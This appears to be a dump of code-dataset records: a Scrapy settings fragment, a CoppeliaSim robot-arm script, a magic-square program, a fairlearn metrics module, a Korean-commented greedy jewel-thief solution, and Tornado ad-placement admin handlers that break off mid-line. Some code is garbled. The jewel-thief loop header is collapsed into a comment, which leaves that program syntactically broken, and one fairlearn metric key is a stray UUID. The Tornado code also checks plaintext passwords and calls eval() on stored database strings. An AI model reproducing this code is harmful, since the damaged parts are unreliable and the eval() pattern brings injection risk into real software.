:400\n}\n\nITEM_PIPELINES = {\n\t'demo.pipelines.PCbabyPipeline': 2,\n\t'scrapy.contrib.pipeline.images.ImagesPipeline': 1\n}\n\nIMAGES_STORE = './images'\nIMAGES_THUMBS = {\n\t'small': (100,100),\n\t'big': (300,300),\n}\n\n# Crawl responsibly by identifying yourself (and your website) on the user-agent\n#USER_AGENT = 'Demo (+http://www.yourdomain.com)'\n","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"544368223","text":"try:\n import sim\nexcept:\n print ('--------------------------------------------------------------')\n print ('\"sim.py\" could not be imported. This means very probably that')\n print ('either \"sim.py\" or the remoteApi library could not be found.')\n print ('Make sure both are in the same folder as this file,')\n print ('or appropriately adjust the file \"sim.py\"')\n print ('--------------------------------------------------------------')\n print ('')\n\nimport time\n\nprint ('Program started')\nsim.simxFinish(-1) # just in case, close all opened connections\nclientID=sim.simxStart('127.0.0.1',19997,True,True,5000,5) # Connect to CoppeliaSim\n\nif clientID!=-1:\n print ('Connected to remote API server')\n\n\n res,UR5_joint1 =sim.simxGetObjectHandle( clientID, 'UR5_joint1', sim.simx_opmode_blocking)\n res,UR5_joint2 =sim.simxGetObjectHandle( clientID, 'UR5_joint2', sim.simx_opmode_blocking)\n res,UR5_joint3 =sim.simxGetObjectHandle( clientID, 'UR5_joint3', sim.simx_opmode_blocking)\n\n UR5 = [UR5_joint1, UR5_joint2, UR5_joint3]\n \n from math import pi\n print(pi)\n \n UR5_q = []\n for joint in UR5:\n res, value = sim.simxGetJointPosition(clientID, joint, sim.simx_opmode_oneshot)\n print('La posición de: ', joint, ' es ', value)\n UR5_q.append(value)\n \n steps = 100\n \n for t in range(steps):\n for joint in UR5:\n sim.simxSetJointTargetPosition(clientID, joint, t*(pi/2)/steps, sim.simx_opmode_streaming)\n time.sleep(2/steps)\n \n time.sleep(1)\n for t in range(steps,0,-1):\n for joint in UR5:\n sim.simxSetJointTargetPosition(clientID, joint, t*(pi/2)/steps, sim.simx_opmode_streaming)\n time.sleep(2/steps)\n\n \n time.sleep(2)\n\n # Now send some data to CoppeliaSim in a non-blocking fashion:\n sim.simxAddStatusbarMessage(clientID,'Hello CoppeliaSim!\\nWe are running Python 3 code.',sim.simx_opmode_oneshot)\n\n # Before closing the connection to CoppeliaSim, make sure that the last command sent out had time to arrive. You can guarantee this with (for example):\n sim.simxGetPingTime(clientID)\n\n # Now close the connection to CoppeliaSim:\n sim.simxFinish(clientID)\n \n \nelse:\n print ('Failed connecting to remote API server')\nprint ('Program ended')\n","sub_path":"CONDA/Coppelia/DEP/move_ur5_copsim.py","file_name":"move_ur5_copsim.py","file_ext":"py","file_size_in_byte":2310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"326453357","text":"\n# Input number\n\nnum = int(input('Enter a number: '))\n\nif num % 2:\n matrix = [[0 for x in range(num)] for i in range(num)]\n step = 1\n i, j = 0, (num // 2)\n matrix[i][j] = step\n while step < num * num:\n if (i == 0) and (j == (num -1)):\n i += 1\n elif i == 0:\n i = num - 1\n j += 1\n elif j == (num -1):\n i -= 1\n j = 0\n else:\n if matrix[i - 1][j + 1] != 0:\n i += 1\n else:\n i -= 1\n j += 1\n step += 1\n matrix[i][j] = step\n\n for i in range(num) :\n for j in range(num) :\n print(repr(matrix[i][j]).rjust(4), end=' ')\n print('\\n')\nelse:\n print('Khong hop le.') ","sub_path":"MaPhuong.py","file_name":"MaPhuong.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"159266089","text":"# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License.\n\nimport numpy as np\n\nfrom . import group_accuracy_score, group_balanced_root_mean_squared_error\nfrom . import group_fallout_rate, group_max_error\nfrom . import group_mean_absolute_error, group_mean_overprediction\nfrom . import group_mean_squared_error, group_mean_squared_log_error\nfrom . import group_mean_underprediction, group_median_absolute_error\nfrom . import group_mean_prediction\nfrom . import group_miss_rate, group_precision_score, group_r2_score\nfrom . import group_recall_score, group_roc_auc_score, group_root_mean_squared_error\nfrom . import group_selection_rate, group_specificity_score, group_zero_one_loss\n\n_GROUP_NAMES_MSG = \"The sensitive_feature_names property must be a list of strings\"\n_METRICS_KEYS_MSG = \"Keys for metrics dictionary must be strings\"\n_METRICS_VALUES_MSG = \"Values for metrics dictionary must be of type GroupMetricResult\"\n\n_ARRAYS_NOT_SAME_LENGTH = \"Lengths of y_true, y_pred and sensitive_features must match\"\n\n_Y_TRUE = 'trueY'\n_Y_PRED = 'predictedY'\n_PRECOMPUTED_METRICS = 'precomputedMetrics'\n_GLOBAL = 'global'\n_BINS = 'bins'\n_PRECOMPUTED_BINS = 'precomputedFeatureBins'\n_BIN_VECTOR = 'binVector'\n_BIN_LABELS = 'binLabels'\n_FEATURE_BIN_NAME = 'featureBinName'\n_PREDICTION_TYPE = 'predictionType'\n_PREDICTION_BINARY_CLASSIFICATION = 'binaryClassification'\n_MODEL_NAMES = 'modelNames'\n_SCHEMA = 'schemaType'\n_GROUP_METRIC_SET = 'groupMetricSet'\n_VERSION = 'schemaVersion'\n\n_UNSUPPORTED_MODEL_TYPE = \"The specified model_type of '{0}' is not supported\"\n_DICT_TOO_MANY_Y_PRED = 'Too many y_pred values in dictionary'\n\nBINARY_CLASSIFICATION = 'binary_classification'\nREGRESSION = 'regression'\n_allowed_model_types = frozenset([BINARY_CLASSIFICATION, REGRESSION])\n\n# The following keys need to match those of _metric_methods in\n# _fairlearn_dashboard.py\n# Issue 269 is about unifying the two sets\nGROUP_ACCURACY_SCORE = \"accuracy_score\"\nGROUP_BALANCED_ROOT_MEAN_SQUARED_ERROR = \"balanced_root_mean_squared_error\"\nGROUP_FALLOUT_RATE = \"fallout_rate\"\nGROUP_MAX_ERROR = \"max_error\"\nGROUP_MEAN_ABSOLUTE_ERROR = \"mean_absolute_error\"\nGROUP_MEAN_OVERPREDICTION = \"overprediction\"\nGROUP_MEAN_PREDICTION = \"average\"\nGROUP_MEAN_SQUARED_ERROR = \"mean_squared_error\"\nGROUP_MEAN_SQUARED_LOG_ERROR = \"6d106114-4433-40a2-b091-8983ab540a53\"\nGROUP_MEAN_UNDERPREDICTION = \"underprediction\"\nGROUP_MEDIAN_ABSOLUTE_ERROR = \"median_absolute_error\"\nGROUP_MISS_RATE = \"miss_rate\"\nGROUP_PRECISION_SCORE = \"precision_score\"\nGROUP_R2_SCORE = \"r2_score\"\nGROUP_RECALL_SCORE = \"recall_score\"\nGROUP_ROC_AUC_SCORE = \"balanced_accuracy_score\"\nGROUP_ROOT_MEAN_SQUARED_ERROR = \"root_mean_squared_error\"\nGROUP_SELECTION_RATE = \"selection_rate\"\nGROUP_SPECIFICITY_SCORE = \"specificity_score\"\nGROUP_ZERO_ONE_LOSS = \"zero_one_loss\"\n\nBINARY_CLASSIFICATION_METRICS = {}\nBINARY_CLASSIFICATION_METRICS[GROUP_ACCURACY_SCORE] = group_accuracy_score\nBINARY_CLASSIFICATION_METRICS[GROUP_FALLOUT_RATE] = group_fallout_rate\nBINARY_CLASSIFICATION_METRICS[GROUP_MEAN_OVERPREDICTION] = group_mean_overprediction\nBINARY_CLASSIFICATION_METRICS[GROUP_MEAN_UNDERPREDICTION] = group_mean_underprediction\nBINARY_CLASSIFICATION_METRICS[GROUP_MISS_RATE] = group_miss_rate\nBINARY_CLASSIFICATION_METRICS[GROUP_PRECISION_SCORE] = group_precision_score\nBINARY_CLASSIFICATION_METRICS[GROUP_RECALL_SCORE] = group_recall_score\nBINARY_CLASSIFICATION_METRICS[GROUP_ROC_AUC_SCORE] = group_roc_auc_score\nBINARY_CLASSIFICATION_METRICS[GROUP_SELECTION_RATE] = group_selection_rate\nBINARY_CLASSIFICATION_METRICS[GROUP_SPECIFICITY_SCORE] = group_specificity_score\n\nREGRESSION_METRICS = {}\nREGRESSION_METRICS[GROUP_BALANCED_ROOT_MEAN_SQUARED_ERROR] = group_balanced_root_mean_squared_error # noqa:E501\nREGRESSION_METRICS[GROUP_MAX_ERROR] = group_max_error\nREGRESSION_METRICS[GROUP_MEAN_ABSOLUTE_ERROR] = group_mean_absolute_error\nREGRESSION_METRICS[GROUP_MEAN_OVERPREDICTION] = group_mean_overprediction\nREGRESSION_METRICS[GROUP_MEAN_PREDICTION] = group_mean_prediction\nREGRESSION_METRICS[GROUP_MEAN_SQUARED_ERROR] = group_mean_squared_error\nREGRESSION_METRICS[GROUP_MEAN_SQUARED_LOG_ERROR] = group_mean_squared_log_error\nREGRESSION_METRICS[GROUP_MEAN_UNDERPREDICTION] = group_mean_underprediction\nREGRESSION_METRICS[GROUP_MEDIAN_ABSOLUTE_ERROR] = group_median_absolute_error\nREGRESSION_METRICS[GROUP_R2_SCORE] = group_r2_score\nREGRESSION_METRICS[GROUP_ROOT_MEAN_SQUARED_ERROR] = group_root_mean_squared_error\nREGRESSION_METRICS[GROUP_ZERO_ONE_LOSS] = group_zero_one_loss\n\n\ndef create_group_metric_set(model_type,\n y_true,\n y_preds,\n sensitive_features,\n model_titles=None,\n sensitive_feature_names=None,\n extra_metrics=None):\n \"\"\"Create a dictionary matching the Dashboard's cache.\"\"\"\n if extra_metrics is not None:\n raise NotImplementedError(\"No support for extra_metrics yet\")\n\n # We could consider checking that the length of y_preds matches model_titles\n # and that the length of sensitive_features matches sensitive_feature_names\n\n result = dict()\n result[_SCHEMA] = _GROUP_METRIC_SET\n result[_VERSION] = 0\n\n if model_type not in _allowed_model_types:\n msg_format = \"model_type '{0}' not in {1}\"\n msg = msg_format.format(model_type, sorted(\n list(_allowed_model_types)))\n raise ValueError(msg)\n\n function_dict = None\n if model_type == BINARY_CLASSIFICATION:\n result[_PREDICTION_TYPE] = _PREDICTION_BINARY_CLASSIFICATION\n function_dict = BINARY_CLASSIFICATION_METRICS\n else:\n raise NotImplementedError(\"No support yet for regression\")\n\n _yt = np.asarray(y_true)\n result[_Y_TRUE] = _yt.tolist()\n\n result[_Y_PRED] = []\n result[_PRECOMPUTED_METRICS] = []\n result[_PRECOMPUTED_BINS] = []\n result[_MODEL_NAMES] = []\n for g, group_membership in enumerate(sensitive_features):\n _gm = np.asarray(group_membership).tolist()\n _unique_groups = sorted(list(np.unique(_gm)))\n group_names = [str(x) for x in _unique_groups]\n groups = [_unique_groups.index(x) for x in _gm]\n bin_dict = {_BIN_VECTOR: groups, _BIN_LABELS: group_names}\n if sensitive_feature_names is not None:\n bin_dict[_FEATURE_BIN_NAME] = sensitive_feature_names[g]\n result[_PRECOMPUTED_BINS].append(bin_dict)\n\n model_list = []\n for m, model_pred in enumerate(y_preds):\n _yp = np.asarray(model_pred).tolist()\n\n # Only record each y_pred and model name once\n if g == 0:\n result[_Y_PRED].append(_yp)\n if model_titles is not None:\n result[_MODEL_NAMES].append(model_titles[m])\n\n metric_dict = dict()\n for metric_key, metric_func in function_dict.items():\n gmr = metric_func(_yt, _yp, groups)\n curr_dict = dict()\n curr_dict[_GLOBAL] = gmr.overall\n curr_dict[_BINS] = list(gmr.by_group.values())\n metric_dict[metric_key] = curr_dict\n model_list.append(metric_dict)\n result[_PRECOMPUTED_METRICS].append(model_list)\n\n return result\n","sub_path":"fairlearn/metrics/_group_metric_set.py","file_name":"_group_metric_set.py","file_ext":"py","file_size_in_byte":7290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"57726144","text":"'''\n분류 : 그리디 알고리즘\n문제 : 보석도둑 (백준 1202번)\n작성일자 : 2021.03.07\n'''\n\n# 보석은 가격과 무게 정보를 갖고 있고, 가방에 담을 수 있는 최대 무게가 존재\n# 가방에는 1개의 보석만 넣을 수 있다\n## 목적 : 훔칠 수 있는 보석 가격의 합의 최댓값을 출력\n## 접근 : 가장 가볍고 가장 비싼 보석부터 처리한다 \n## 최대 무게가 가장 가벼운 가방에 비싼 보석을 넣는 것을 우선으로 생각\n## 이중 반복문을 통한 O(N^2)을 피하도록 구현 \n\n# 가방을 오름차순으로 정렬한다 (정렬하지 않으면 밑의 while조건문에서 문제 발생)\n## 기준이 되는 가방보다 작거나 같은 보석이 다 들어가야하는데, 못들어가는 경우 생김\n# 보석을 무게를 기준으로 오름차순 정렬한다 \n# 반복문(가방기준)을 돌며 현재 가방무게보다 작거나 같은 보석을 최대힙에 넣는다 \n## 최대힙에는 보석의 가격을 넣는다 \n## 중요한 점은 특정 가방의 무게보다 작거나 같아서 들어간 보석은 어차피 추후에 다른 가방에도\n## 들어가지므로, 최대힙으로 큰 값들만 빼주면 된다\nimport sys\nimport heapq\n\nN, K = map(int, input().split())\njew = []\nbag = []\nfor _ in range(N) : \n jew.append(list(map(int, sys.stdin.readline().rstrip().split())))\njew.sort(key= lambda x: x[0])\nfor _ in range(K) : \n bag.append(int(sys.stdin.readline().rstrip()))\nbag.sort()\n\nmyQue = []\nindex = 0\nresult = 0\n### 기준을 남긴채로 반복문 돌리는 기법 (단순 이중 for문과의 차이)\nfor i in range(len(bag)) : \n # 기준이 되는 가방보다 무게가 작은 보석들을 집어넣기\n # while 반복문의 탈출조건\n ## 파이썬은 인터프리터 언어이므로 로직상으로 맞아도 순서에 따라 틀려질 수 있음\n ## index= jew[index][0]: \n # 최대힙으로 대입\n heapq.heappush(myQue, -jew[index][1]) \n index += 1 \n \n # 기준에 충족하는 보석을 다 채웠으면, 가장 큰 값 비우기\n if len(myQue) : \n result += heapq.heappop(myQue)\nprint(-result)\n\n\n","sub_path":"greedy/R_greedy_28.py","file_name":"R_greedy_28.py","file_ext":"py","file_size_in_byte":2340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"609729924","text":"import json\nimport random\nimport string\nimport time\n\nimport tornado\nimport tornado.web\nfrom sqlalchemy import or_\n\nfrom _base import ShareitBaseHandler\nfrom model.base import Base\nfrom model.const import Const\nfrom model.dim_ads_thirdparty_adunit import ThirdPartAdpostionInfo\nfrom model.operation_log import OperationLog\nfrom model.shareit_adpostion_info import ShareitAdpostionInfo\nfrom model.shareit_android_ver import ShareitAndroidVer\nfrom model.user import User\nfrom utils.util import convert_date\n\n\nclass AdminLogindHandler(ShareitBaseHandler):\n @tornado.gen.coroutine\n def post(self):\n data = json.loads(self.request.body.decode())\n account = data[\"account\"]\n password = data[\"password\"]\n user_obj = User.query.filter_by(account=account, password=password, status=0).first()\n if not user_obj:\n self.finish({\"code\": 500, \"flag\": True})\n else:\n salt = ''.join(random.sample(string.ascii_letters + string.digits, 32)) + \"|\" + account\n token = {\"token\": salt}\n user_obj.update(**token)\n self.finish({\"code\": 200, \"flag\": True, \"token\": salt})\n\n\nclass LogoutHandler(ShareitBaseHandler):\n @tornado.gen.coroutine\n def get(self, *args, **kwargs):\n account = self.request.headers[\"Thrdate-Token\"].split(\"|\")[1]\n user_obj = User.query.filter_by(account=account, status=0).first()\n if user_obj is not None:\n update_info = {\"token\": \"\"}\n user_obj.update(**update_info)\n Base.db_session.commit()\n self.finish({\"code\": 200, \"flag\": True})\n else:\n self.finish({\"code\": 400, \"flag\": True})\n\n\nclass ShareitAdposHandler(ShareitBaseHandler):\n @tornado.gen.coroutine\n def get(self):\n page = int(self.get_argument(\"page\", 1))\n pagesize = int(self.get_argument(\"pagesize\", 10))\n adpage = self.get_argument(\"adpage\", \"\")\n adformat = self.get_argument(\"adformat\", \"\")\n adtype = self.get_argument(\"adtype\", \"\")\n filter = self.get_argument(\"filter\", \"\")\n arg_dict = {\"adpage\": adpage, \"adformat\": adformat, \"adtype\": adtype}\n filter_dict = dict()\n for k, v in arg_dict.items():\n if v != \"\":\n filter_dict[k] = v\n filter_dict[\"status\"] = 0\n\n adpos_list = ShareitAdpostionInfo.query.filter_by(**filter_dict) \\\n .filter(or_(ShareitAdpostionInfo.adpos_name.like(\"%\" + filter + \"%\"),\n ShareitAdpostionInfo.id.like(\"%\" + filter + \"%\"))) \\\n .order_by(ShareitAdpostionInfo.id.desc()) \\\n .offset((page - 1) * pagesize) \\\n .limit(pagesize) \\\n .all()\n\n total = ShareitAdpostionInfo.query.filter_by(**filter_dict) \\\n .filter(or_(ShareitAdpostionInfo.adpos_name.like(\"%\" + filter + \"%\"),\n ShareitAdpostionInfo.id.like(\"%\" + filter + \"%\"))) \\\n .count()\n\n res = self.assemble_data(data=self.list_json(adpos_list), code=200, total=total)\n self.finish(res)\n\n\nclass ShareitAdposModifyHandler(ShareitBaseHandler):\n @tornado.gen.coroutine\n def post(self):\n data = json.loads(self.request.body.decode())\n pos_data = data[\"item\"]\n action = data[\"action\"]\n pos_data[\"modify_time\"] = int(time.time() * 1000)\n\n try:\n if action == \"add\":\n pos_data[\"create_time\"] = int(time.time() * 1000)\n pos_data[\"status\"] = 0\n ShareitAdpostionInfo.create(**pos_data)\n else:\n ShareitAdpostionInfo.update_or_create(id=pos_data[\"id\"], defaults=pos_data)\n except Exception as e:\n print(\"update ShareitAdpostionInfo error, error is: %s; data is: %s\" % (e, pos_data))\n self.finish(self.assemble_data(flag=True, code=400))\n else:\n self.log()\n self.finish(self.assemble_data(flag=True, code=200))\n\n\nclass ThrPartPlacementHandler(ShareitBaseHandler):\n @tornado.gen.coroutine\n def get(self, *args, **kwargs):\n adpos = self.get_argument(\"adpos\", \"\")\n shareit_adpos = self.get_argument(\"shareit_adpos\", \"\") # 茄子广告位信息,ssssss-id\n tag = self.get_argument(\"tag\", \"\")\n priority = self.get_argument(\"priority\", \"\")\n platform = self.get_argument(\"platform\", \"\")\n page = int(self.get_argument(\"page\", 1))\n pagesize = int(self.get_argument(\"pagesize\", 10))\n\n adpos_list = ThirdPartAdpostionInfo.query \\\n .join(ShareitAdpostionInfo, ThirdPartAdpostionInfo.shareit_adpos == ShareitAdpostionInfo.id) \\\n .filter(ThirdPartAdpostionInfo.platform==platform, ThirdPartAdpostionInfo.status==0) \\\n .filter(or_(ThirdPartAdpostionInfo.adpos_name.like(\"%\" + adpos + \"%\"),\n ThirdPartAdpostionInfo.adpos_id.like(\"%\" + adpos + \"%\"))) \\\n .filter(or_(ThirdPartAdpostionInfo.shareit_adpos.like(\"%\" + shareit_adpos + \"%\"),\n ShareitAdpostionInfo.adpos_name.like(\"%\" + shareit_adpos + \"%\"))) \\\n .filter(ThirdPartAdpostionInfo.tag_info.like(\"%\" + tag + \"%\")) \\\n .filter(ThirdPartAdpostionInfo.priority_info.like(\"%\" + priority + \"%\")) \\\n .order_by(ThirdPartAdpostionInfo.id.desc()) \\\n .offset((page - 1) * pagesize) \\\n .limit(pagesize) \\\n .all()\n\n total = ThirdPartAdpostionInfo.query \\\n .join(ShareitAdpostionInfo, ThirdPartAdpostionInfo.shareit_adpos == ShareitAdpostionInfo.id) \\\n .filter(ThirdPartAdpostionInfo.platform==platform, ThirdPartAdpostionInfo.status==0) \\\n .filter(or_(ThirdPartAdpostionInfo.adpos_name.like(\"%\" + adpos + \"%\"),\n ThirdPartAdpostionInfo.adpos_id.like(\"%\" + adpos + \"%\"))) \\\n .filter(or_(ThirdPartAdpostionInfo.shareit_adpos.like(\"%\" + shareit_adpos + \"%\"),\n ShareitAdpostionInfo.adpos_name.like(\"%\" + shareit_adpos + \"%\"))) \\\n .filter(ThirdPartAdpostionInfo.tag_info.like(\"%\" + tag + \"%\")) \\\n .filter(ThirdPartAdpostionInfo.priority_info.like(\"%\" + priority + \"%\")) \\\n .count()\n\n res = self.assemble_data(data=self.list_json(adpos_list), code=200, total=total)\n for item in res[\"data\"]:\n item[\"tag_info\"] = json.loads(item[\"tag_info\"])\n item[\"priority_info\"] = json.loads(item[\"priority_info\"])\n self.finish(res)\n\n @tornado.gen.coroutine\n def delete(self, *args, **kwargs):\n id = int(self.get_argument(\"id\", 0))\n del_info = {\n \"status\": -1,\n \"modify_time\": int(time.time() * 1000)\n }\n try:\n ThirdPartAdpostionInfo.get(id).update(**del_info)\n except Exception as e:\n print(\"delete ThirdPartAdpostionInfo error; error is: %s, ID:%s\" % (e, id))\n self.finish(self.assemble_data(flag=True, code=400))\n else:\n self.log()\n self.finish(self.assemble_data(flag=True, code=200))\n\n\nclass ThrPartPlacementModifyHandler(ShareitBaseHandler):\n @tornado.gen.coroutine\n def post(self, *args, **kwargs):\n data = json.loads(self.request.body.decode())\n current_time = int(time.time() * 1000)\n pos_data = data[\"item\"]\n action = data[\"action\"]\n pos_data[\"modify_time\"] = current_time\n pos_data[\"tag_info\"] = json.dumps(pos_data[\"tag_info\"])\n pos_data[\"priority_info\"] = json.dumps(pos_data.get(\"priority_info\", []))\n try:\n if action == \"add\":\n pos_data[\"create_time\"] = current_time\n if pos_data[\"platform\"] != \"facebook\":\n pos_data[\"start_date\"] = \"\"\n pos_data[\"status\"] = 0\n ThirdPartAdpostionInfo.create(**pos_data)\n else:\n ThirdPartAdpostionInfo.update_or_create(id=pos_data[\"id\"], defaults=pos_data)\n except Exception as e:\n print(\"ThirdPartAdpostionInfo update error, error is: \", e)\n self.finish(self.assemble_data(flag=True, code=400))\n else:\n self.log()\n self.finish(self.assemble_data(flag=True, code=200))\n\n\nclass AndroidVersionHandler(ShareitBaseHandler):\n @tornado.gen.coroutine\n def get(self, *args, **kwargs):\n version = self.get_argument(\"version\", \"\")\n version_tag = self.get_argument(\"version_tag\", \"\")\n page = int(self.get_argument(\"page\", 1))\n pagesize = int(self.get_argument(\"pagesize\", 10))\n\n verstion_list = ShareitAndroidVer.query \\\n .filter_by(status=0) \\\n .filter(ShareitAndroidVer.version.like(\"%\" + version + \"%\")) \\\n .filter(ShareitAndroidVer.version_tag.like(\"%\" + version_tag + \"%\")) \\\n .order_by(ShareitAndroidVer.id.desc()) \\\n .offset((page - 1) * pagesize) \\\n .limit(pagesize) \\\n .all()\n\n total = ShareitAndroidVer.query \\\n .filter_by(status=0) \\\n .filter(ShareitAndroidVer.version.like(\"%\" + version + \"%\")) \\\n .filter(ShareitAndroidVer.version_tag.like(\"%\" + version_tag + \"%\")) \\\n .count()\n\n res = self.assemble_data(data=self.list_json(verstion_list), code=200, total=total)\n self.finish(res)\n\n @tornado.gen.coroutine\n def delete(self, *args, **kwargs):\n id = int(self.get_argument(\"id\", 0))\n del_info = {\n \"status\": -1,\n \"modify_time\": int(time.time() * 1000)\n }\n try:\n ShareitAndroidVer.get(id).update(**del_info)\n except Exception as e:\n print(\"update android version error, error is: %s; id is %s\" % (e, id))\n self.finish(self.assemble_data(flag=True, code=400))\n else:\n self.log()\n self.finish(self.assemble_data(flag=True, code=200))\n\n\nclass AndroidVersionModifyHandler(ShareitBaseHandler):\n @tornado.gen.coroutine\n def post(self, *args, **kwargs):\n data = json.loads(self.request.body.decode())\n pos_data = data[\"item\"]\n action = data[\"action\"]\n current_time = int(time.time() * 1000)\n pos_data[\"modify_time\"] = current_time\n\n try:\n if action == \"add\":\n pos_data[\"create_time\"] = current_time\n pos_data[\"status\"] = 0\n ShareitAndroidVer.create(**pos_data)\n else:\n ShareitAndroidVer.update_or_create(id=pos_data[\"id\"], defaults=pos_data)\n except Exception as e:\n print(\"update android version error, error is: %s, data is: %s\" % (e, pos_data))\n self.finish(self.assemble_data(flag=True, code=400))\n else:\n self.log()\n self.finish(self.assemble_data(flag=True, code=200))\n\n\nclass ConstHandler(ShareitBaseHandler):\n def update_thrplace(self, id):\n const = Const.get(ident=id)\n content = const.content\n type = const.type\n current_time = int(time.time() * 1000)\n if type == \"tag\":\n # 三方广告位更新\n placement_list = ThirdPartAdpostionInfo.query.filter_by(status=0).all()\n for p in placement_list:\n tag_info = eval(p.tag_info)\n new_tag_info = []\n flag = False # 判定是否要更新广告位表\n for tag in tag_info:\n if tag.get(\"tag\", \"\") != content:\n new_tag_info.append(tag)\n if tag.get(\"tag\", \"\") == content:\n flag = True\n if flag is True:\n update_data = {\"tag_info\": json.dumps(new_tag_info), \"modify_time\": current_time}\n p.update(**update_data)\n\n # 安卓版本号删除\n version_list = ShareitAndroidVer.query.filter_by(status=0).all()\n for version in version_list:\n tag = version.version_tag\n tag_list = tag.split(\",\")\n new_tag_list = []\n flag = False\n for t in tag_list:\n if t != content:\n new_tag_list.append(t)\n if t == content:\n flag = True\n if flag is True:\n update_version_data = {\"version_tag\": \",\".join(new_tag_list), \"modify_time\": current_time}\n version.update(**update_version_data)\n\n if type == \"priority\":\n placement_list = ThirdPartAdpostionInfo.query.filter_by(status=0).all()\n for p in placement_list:\n priority_info = eval(p.priority_info)\n new_priority_info = []\n flag = False # 判定是否要更新广告位表\n for priority in priority_info:\n if priority.get(\"priority\", \"\") != content:\n new_priority_info.append(priority)\n if priority.get(\"priority\", \"\") == content:\n flag = True\n if flag is True:\n update_data = {\"priority_info\": json.dumps(new_priority_info), \"modify_time\": current_time}\n p.update(**update_data)\n\n if type == \"adpage\":\n shareit_placements = ShareitAdpostionInfo.query.filter_by(status=0, adpage=content).all()\n for p in shareit_placements:\n update_data = {\"adpage\": \"\", \"modify_time\": current_time}\n p.update(**update_data)\n\n if type == \"adtype\":\n shareit_placements = ShareitAdpostionInfo.query.filter_by(status=0, adtype=content).all()\n for p in shareit_placements:\n update_data = {\"adtype\": \"\", \"modify_time\": current_time}\n p.update(**update_data)\n\n if type == \"adformat\":\n shareit_placements = ShareitAdpostionInfo.query.filter_by(status=0, adformat=content).all()\n for p in shareit_placements:\n update_data = {\"adformat\": \"\", \"modify_time\": current_time}\n p.update(**update_data)\n\n @tornado.gen.coroutine\n def get(self, *args, **kwargs):\n type = self.get_argument(\"type\", \"\")\n page = int(self.get_argument(\"page\", 1))\n pagesize = int(self.get_argument(\"pagesize\", 10))\n const_list = Const.query \\\n .filter_by(status=0, type=type) \\\n .order_by(Const.id.desc()) \\\n .offset((page - 1) * pagesize) \\\n .limit(pagesize) \\\n .all()\n total = Const.query \\\n .filter_by(status=0, type=type) \\\n .count()\n\n res = self.assemble_data(data=self.list_json(const_list), code=200, total=total)\n self.finish(res)\n\n @tornado.gen.coroutine\n def delete(self, *args, **kwargs):\n id = int(self.get_argument(\"id\", 0))\n del_info = {\n \"status\": -1,\n \"modify_time\": int(time.time() * 1000)\n }\n\n try:\n Const.get(id).update(**del_info)\n self.update_thrplace(id)\n except Exception as e:\n print(\"delete const failted, error is: %s; id is: %s\" % (e, id))\n self.finish(self.assemble_data(code=400, flag=True))\n else:\n self.log()\n self.finish(self.assemble_data(code=200, flag=True))\n\n\nclass ConstModifyHandler(ShareitBaseHandler):\n def update_thrplace(self, id, new_content):\n \"\"\"需要在Const表修改之前,修改相应的表,需要传入修改之前的值和修改之后的值\"\"\"\n const = Const.get(ident=id)\n content = const.content\n type = const.type\n current_time = int(time.time() * 1000)\n if type == \"tag\":\n placement_list = ThirdPartAdpostionInfo.query.filter_by(status=0).all()\n for p in placement_list:\n tag_info = eval(p.tag_info)\n for tag in tag_info:\n if tag.get(\"tag\", \"\") == content:\n tag[\"tag\"] = new_content\n update_data = {\"tag_info\": json.dumps(tag_info), \"modify_time\": current_time}\n p.update(**update_data)\n\n # 更新安卓版本号\n version_list = ShareitAndroidVer.query.filter_by(status=0).all()\n for version in version_list:\n tag = version.version_tag\n tag_list = tag.split(\",\")\n flag = False\n for k, v in enumerate(tag_list):\n if v == content:\n tag_list[k] = new_content\n flag = True\n if flag is True:\n update_version_data = {\"version_tag\": \",\".join(tag_list), \"modify_time\": current_time}\n version.update(**update_version_data)\n\n if type == \"priority\":\n placement_list = ThirdPartAdpostionInfo.query.filter_by(status=0).all()\n for p in placement_list:\n priority_info = eval(p.priority_info)\n for priority in priority_info:\n if priority.get(\"priority\", \"\") == content:\n priority[\"priority\"] = new_content\n update_data = {\"priority_info\": json.dumps(priority_info), \"modify_time\": current_time}\n p.update(**update_data)\n\n if type == \"adpage\":\n shareit_placements = ShareitAdpostionInfo.query.filter_by(status=0, adpage=content).all()\n for p in shareit_placements:\n update_data = {\"adpage\": new_content, \"modify_time\": current_time}\n p.update(**update_data)\n\n if type == \"adtype\":\n shareit_placements = ShareitAdpostionInfo.query.filter_by(status=0, adtype=content).all()\n for p in shareit_placements:\n update_data = {\"adtype\": new_content, \"modify_time\": current_time}\n p.update(**update_data)\n\n if type == \"adformat\":\n shareit_placements = ShareitAdpostionInfo.query.filter_by(status=0, adformat=content).all()\n for p in shareit_placements:\n update_data = {\"adformat\": new_content, \"modify_time\": current_time}\n p.update(**update_data)\n\n @tornado.gen.coroutine\n def post(self, *args, **kwargs):\n data = json.loads(self.request.body.decode())\n action = data[\"action\"]\n pos_data = data[\"item\"]\n current_time = int(time.time() * 1000)\n pos_data[\"modify_time\"] = current_time\n try:\n if action == \"add\":\n pos_data[\"create_time\"] = current_time\n pos_data[\"status\"] = 0\n Const.create(**pos_data)\n else:\n self.update_thrplace(id=pos_data[\"id\"], new_content=pos_data[\"content\"])\n Const.update_or_create(id=pos_data[\"id\"], defaults=pos_data)\n except Exception as e:\n print(\"update const failed, error is: %s; data is: %s\" % (e, pos_data))\n self.finish(self.assemble_data(flag=True, code=400))\n else:\n self.log()\n self.finish(self.assemble_data(flag=True, code=200))\n\n\nclass ExportHandler(ShareitBaseHandler):\n @tornado.gen.coroutine\n def get(self, *args, **kwargs):\n \"\"\"\n shareit_adpos:茄子广告位;third_part:第三方广告平台管理; version:茄子安卓版本\n 二级区分:只针对第三方平台管理,其他不传此参数; admob;altamob;faccebook;mopub\n \"\"\"\n\n place = self.get_argument(\"place\", \"\")\n exp_type = self.get_argument(\"type\", \"\")\n exp_data = []\n if place == \"shareit_adpos\":\n exp_data = ShareitAdpostionInfo.query.filter_by(status=0).all()\n\n if place == \"third_part\":\n exp_data = 